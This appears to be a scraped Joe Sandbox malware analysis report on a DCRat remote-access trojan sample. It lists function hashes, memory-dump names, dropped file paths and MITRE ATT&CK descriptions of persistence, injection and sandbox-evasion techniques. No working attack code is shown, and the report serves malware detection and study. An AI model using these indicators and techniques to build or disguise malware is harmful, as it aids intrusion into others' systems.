Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD9BAEA7E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAEA750 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAEDCF9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895117c7c16dc1a95151e6e79a0ca632ef6ace2f3c76778395e0f7e851ec684b
Instruction ID: a1ff08f5828d7a3434f51513314aaef9b2c2438690b6babccf18e38a66fb07ee
Opcode Fuzzy Hash: 895117c7c16dc1a95151e6e79a0ca632ef6ace2f3c76778395e0f7e851ec684b
Instruction Fuzzy Hash: 08E04F2194F3C04FC70B973088788503F609E1721074A41EAC045CF2B3E9298C49C712

Function 00007FFD9BAD9189 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAD3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bad3000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c05ac2987a1c9a232998af73133ffae786d9f46d46fe1d87677a7ea7878e61
Instruction ID: dc5eb35cb6c66be914cb053f00a5cf57367d6811ca7c115631cbba8f1d51af35
Opcode Fuzzy Hash: 57c05ac2987a1c9a232998af73133ffae786d9f46d46fe1d87677a7ea7878e61
Instruction Fuzzy Hash: 09E01A7154A3C04FCB0AAB7488699447FB0AE6B21078E41DEC04ACB5B3E62D8949C701

Function 00007FFD9BAE9619 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f7b8e5420caf55674fcd1eeefa78ad6b664eade950306489ac6521ace594b1
Instruction ID: d183d8b351b9258382041483009275d34f091fbe5fc99ac062e434f71e887885
Opcode Fuzzy Hash: 26f7b8e5420caf55674fcd1eeefa78ad6b664eade950306489ac6521ace594b1
Instruction Fuzzy Hash: BEE0173191A7884FC70AAB3488A99903FB0EE2B21178B01CBD045CF5B3EA5D8D89C752

Function 00007FFD9BAE8079 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7c1c8b6046808b1daa80e4fb86cad5e51b4d4d7a8d731e1cb782672d15a361
Instruction ID: 1c41cf1b7527416d22d8385800dde21ae111a85497a1ef29e34a8891a9e0f69b
Opcode Fuzzy Hash: 9f7c1c8b6046808b1daa80e4fb86cad5e51b4d4d7a8d731e1cb782672d15a361
Instruction Fuzzy Hash: 8EE04F2154F3C04FC70B973088788547F60DE6721038A40EEC045CF6B7E529CD49C702

Function 00007FFD9BAEDC79 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0942819c43bb116747a83364e814a44ed5356398418638f3923ca3b254ac960b
Instruction ID: 9530dbe6f02b05efc05873b2eb13143494972cc119a4d9ef245e3c159f2f7d2d
Opcode Fuzzy Hash: 0942819c43bb116747a83364e814a44ed5356398418638f3923ca3b254ac960b
Instruction Fuzzy Hash: 4FE04F2194E3C44FC70B973088788503F609E2721078A41EEC045CF2B3E6298849C702

Function 00007FFD9BAE20F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BAEBDE0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction ID: 6bcad832d804687a7e165d84ccea6df78e1e707217a051a1d94f39070bb8a8b8
Opcode Fuzzy Hash: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction Fuzzy Hash: 6AD01234B519044FC71CA73888598747391EBAA216B9550A9D00AC72B1D9AADD89C741

Function 00007FFD9BAE75B8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction ID: a4561d665d89cd8225780beb4f044a30b88973759cbd08a7a8b71f63e77c0c36
Opcode Fuzzy Hash: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction Fuzzy Hash: 9DD01234B519044FC71CA7389859C747391EBAA216B9540A9D00AC72B1D96AED89C741

Function 00007FFD9BAC7D6E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bac0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70364ec1e3a5c3c36bad224595f60b3a7e67816146122890fadff4bbdbdd6d63
Instruction ID: a2aee5df89c103e365712deedb081fca775404d00e4d05e7f319b321a242c388
Opcode Fuzzy Hash: 70364ec1e3a5c3c36bad224595f60b3a7e67816146122890fadff4bbdbdd6d63
Instruction Fuzzy Hash: 9ED0C930E09618CEEBA0DB64C851B6877B2FF48310F5002F6D01DE32CACB356D819B40

Function 00007FFD9BAC2C40 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bac0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction ID: 668154ff0a7214bb04d25809eeb8acf633cfa9dac408f7800204cefbd749011e
Opcode Fuzzy Hash: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction Fuzzy Hash: DAA00204DA781E01D81832FB1D9789474505FA9154FC61A60E81980196FCCE17F907A3

Function 00007FFD9BAED5A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2052101559.00007FFD9BAE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9bae1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction ID: d9fb39e60b51fa348b705f2061fbf3ce4f55973df5d7edfc5407c4deb03342b9
Opcode Fuzzy Hash: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction Fuzzy Hash: 5EA00244D6782F01E91C32FB0EDB5B534915A88295FC901A1FD48C81D7E88D53EE12F3

Analysis Process: bridgeServerFontSavesMonitor.exePID: 8036, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BAA1FE8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7666d2b8042b5748835df10e626df8f803f46709ecf54e51102bfe9d3dd031ec
Instruction ID: 64c0efb8ededd9b7375937b6ffdca0a2f26b62b885ddb8f4c57290109e2e9230
Opcode Fuzzy Hash: 7666d2b8042b5748835df10e626df8f803f46709ecf54e51102bfe9d3dd031ec
Instruction Fuzzy Hash: 7311A721F1EA1E5BE7B4AB9884646F97293FF48710F1241B5D40EE31F2DEAC6E508690

Function 00007FFD9BAA0C38 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a9f36e522e754ee400106d3f751e20abb237ded239e73501214674f7ada03f
Instruction ID: 02e6b586664894bfd40054fb4812d7ea2db9dcc27b75b9830fb5ea75b05f2daf
Opcode Fuzzy Hash: 82a9f36e522e754ee400106d3f751e20abb237ded239e73501214674f7ada03f
Instruction Fuzzy Hash: 7E11A335B0E68D8EE721DFA8886119C7BB1EF42711F0645B7C088DB1A2D574164987A4

Function 00007FFD9BAA0C40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d023ec2868f824baed77f8c41d73f85fca4a41eb64c5f3e21906c5ec20e96930
Instruction ID: 9bf38bdb979dfdbe8453b08beff877560a5af44b111f6b5aaba68bb9f18d51f6
Opcode Fuzzy Hash: d023ec2868f824baed77f8c41d73f85fca4a41eb64c5f3e21906c5ec20e96930
Instruction Fuzzy Hash: 9B01A135B0E68D8FE722DFA8886419CBFB1EF42711F0645F7C088DB1A2D97466498764

Function 00007FFD9BAA0C48 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9482d04e698df129469b6ce84b973e261f9e59e91a21eceed696bb02a62e47df
Instruction ID: 3e927211c3c7800c72d106962f86ee1e44214be734c1e76048084bc6e357b956
Opcode Fuzzy Hash: 9482d04e698df129469b6ce84b973e261f9e59e91a21eceed696bb02a62e47df
Instruction Fuzzy Hash: CE019235A0E38D9FD721DFA4885419CBFB1AF42710F1641E7D088DB1A2D9746645C754

Function 00007FFD9BAA0C50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fa5deb9a5086415271da76bfbc959ad367d11b27124175dab5c24a751fbde64
Instruction ID: a9ce8ca3fe444f8aa684a8f1104411b1f7a58184a331befda5c01c2d4e37fcd5
Opcode Fuzzy Hash: 3fa5deb9a5086415271da76bfbc959ad367d11b27124175dab5c24a751fbde64
Instruction Fuzzy Hash: FE018F34E0E38D9FE731DFA488A419CBFB1AF06714F1541E7D488CB1A2D9786A44C755

Function 00007FFD9BAA3C45 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831112fee4d30cdc9f2e9384aae8db6293787c40afac43b45b6311e5eeb9805e
Instruction ID: a0d0b214b94ef8bcb7dff00981a52ae8be16fe8c2c4f5e1a54c6cc89d08a2dbc
Opcode Fuzzy Hash: 831112fee4d30cdc9f2e9384aae8db6293787c40afac43b45b6311e5eeb9805e
Instruction Fuzzy Hash: 8EE09261F1AC1E5FE6F4E75C84753B862D3EBAC700F420176C00DC32A1DD682D024794

Function 00007FFD9BAA6A11 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction ID: 592830685c710e191fb463840f7aeedee90a1c284bcab971093a6569cda1cf6c
Opcode Fuzzy Hash: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction Fuzzy Hash: C4E01220F0901E4BFBB4A794C8607B962A2AF99704F1640B4D80DD33E2DDB86F858755

Function 00007FFD9BAA0835 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.2214617129.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction ID: 4ca0cf5f36246c5a70c8128036d966815203504818490876a24fa534440c4671
Opcode Fuzzy Hash: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction Fuzzy Hash: 98C01210B5740D51D43473AEEC664EDB741AF4811CF864171E40D84096DC491587C1AA

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7aHY4r6vXR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ChainBroker\5a6d6b3e5e3059

C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat

C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe

C:\ChainBroker\bridgeServerFontSavesMonitor.exe

C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe

C:\Users\Default\AppData\Local\Temp\b1829d2998bf98

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SfLAFHFXIbHzHGgilQgXtKOw.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\bridgeServerFontSavesMonitor.exe.log

C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat

C:\Users\user\AppData\Local\Temp\RES69DB.tmp
